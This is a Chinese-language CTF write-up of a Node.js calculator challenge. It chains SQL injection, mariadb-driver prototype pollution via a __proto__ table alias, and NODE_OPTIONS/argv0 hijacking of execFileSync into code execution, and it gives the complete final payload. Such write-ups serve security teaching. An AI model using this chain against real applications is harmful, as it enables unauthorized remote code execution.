基本结构：./front/ 用于前端反代（无漏洞），mariadb 为后端数据库（只读），./calc/ 为漏洞代码处。

calc/index.js 整体流程为：连接 db 后执行 SELECT (expr) 获取计算结果并写入 ./ret 与外端交流。

注意到一个别样的参数： nestTables （默认为 false）

```
const pool = mariadb.createPool({
  host: 'db',
  user: 'root',
  password: 'root',
  pipelining: true,
/* --> */ nestTables: true,  /* <-- */
  connectTimeout: 1000,
  connectionLimit: 100,
  multipleStatements: false
});
```

其效果为将当前查询的表名一并纳入结果中，如 `select test_column from db.table_abc` 时：

```
[ { table_abc: { test_column: 'content' } } ]
```

关注其源代码 /mariadb-corporation/lib/cmd/parser.js#L491 ：

```
const row = {};
// ...
for (let i = 0; i < this._columnCount; i++) {
  if (!row[this.tableHeader[i][0]]) row[this.tableHeader[i][0]] = {};
  row[this.tableHeader[i][0]][this.tableHeader[i][1]] = // ......
          /* NOTICE THIS ^^^^^^^^ */
```

而在上面 #L268 处，当 nestTables 启用时这俩参数都直接从 select 的结果而来：

```
} else if (this.opts.nestTables === true) {
  this.parseRow = this.parseRowNested;
  for (let i = 0; i < this._columnCount; i++) {
    this.tableHeader[i] = [this._columns[i].table(), this._columns[i].name()];
  }
```

也就是说，有一种可能，当表名为 `__proto__` 时，代码覆盖了 row 即 `{}` 的原型，造成**原型链污染。**

即现在需要控制 SELECT 出来的表名为 `__proto__` ，项名为任意变量（字符串）。

但由于这里的数据库是 read-only，无法对实际的表或项进行操作，于是注意到 SELECT AS 这种语法。

```
SELECT 'any_value' AS any_variable FROM sys.sys_config AS any_table
```

而这样虽可以控制项名，但由于 `'any_value'` 不是实际表中的实际项，所以结果中这一项的表名为空，不可控：

```
{ '': { any_variable: 'any_value' } }
```

此时注意到有一种 **select without from**（参考）的写法，在题目环境的 mariadb 表示为：

```
SELECT `any_variable` FROM (VALUES ('any_variable'), ('any_value')) AS any_table
```

```
{ any_table: { any_variable: 'any_variable' } }
{ any_table: { any_variable: 'any_value' } }
```

成功控制表名、项名及内容，至此即可污染环境中原型链上的任意变量，闭合括号的 payload：

```
1),`var1`,`var2` FROM (VALUES ('var1','var2'),('123','456')) AS __proto__ -- #
```

这时注意到 calc/index.js 中已经给了一个 execFileSync 作为触发点，尝试污染其为任意代码执行：

```
try {
  require('child_process').execFileSync('/readflag', null, { stdio: 'ignore',
env: null });
} catch(e) {
  str = e.toString();
}

fs.writeFileSync('./ret', JSON.stringify(str), 'utf-8');
```

新版 node 中默认使 options 为 kEmptyObject（/lib/child_process.js#L285），execFile 函数前新增了各种默认 options 参数为 null 或 false 的判断（#L336），但题目环境中的写法导致其可以被污染。

注意到 #L635 处，污染 **options.shell** 可以替换当前的可执行文件；#L645 处，污染 **options.argv0** 可以替换 argv0 即 cmdline；options.env 为 null 无法被污染，但 #L672 处这个 for 由于污染了 {} 的原型就会将所有被污染的变量都添加进去，因此**环境变量**实际上也是可控的。

但同时注意到题目环境中所有的可执行文件都被删除，只留了个 nodejs，想到 **NODE_OPTIONS** 可以用来注入 js 命令。

故污染如下的变量，即可任意代码执行：

```
const a = {};
a.__proto__.shell = '/usr/local/bin/node';
a.__proto__.argv0 = '/* CODE HERE */ process.exit(0); //';
a.__proto__.NODE_OPTIONS = '--require /proc/self/cmdline';
```

但此时注意到 calc/index.js 是在 execFileSync 后才将结果写入 ./ret，故即使在 argv0 处将 /readflag 的结果写入 ./ret 也会被覆盖，无法得到回显。

发现题目环境中 docker 入口点为自定义程序 watcher，观察其流程：

```
pid_t pid = 0;
void timer_handler(int pid) {
  kill(pid, SIGKILL);
}

int main(int argc, char**argv) {
```

```
  remove(argv[0]);
  signal(SIGALRM, timer_handler);
  pid = fork();
  if (pid == 0) {
    setgid(65534);
    setuid(65534);
    if (argc > 1) {
      execvp(argv[1], argv+1);
    }
    return 0;
  }
  alarm(2);
  int state;
  waitpid(pid, &state, 0);
  return 0;
}
```

判断若执行超时则强制结束子进程（即 node）的执行。

此时注意到仅需让主程序 node index.js 执行**超时**即会被杀掉，./ret 的内容也就不会被覆盖。

写入 ./ret 后死循环即可，以下为 argv0 的代码内容：

```
require("fs").writeFileSync("./ret",require("child_process").execFileSync("/read
flag").toString()); let i=1;while(i++)i--; process.exit(0); //
```

最终的 payload：

```
1),`shell`,`NODE_OPTIONS`,`argv0` FROM (VALUES ('shell','NODE_OPTIONS','argv0'),
('/usr/local/bin/node','--require
/proc/self/cmdline','require("fs").writeFileSync("./ret",require("child_process"
).execFileSync("/readflag").toString()); let i=1;while(i++)i--;
process.exit(0);//')) AS __proto__ -- #
```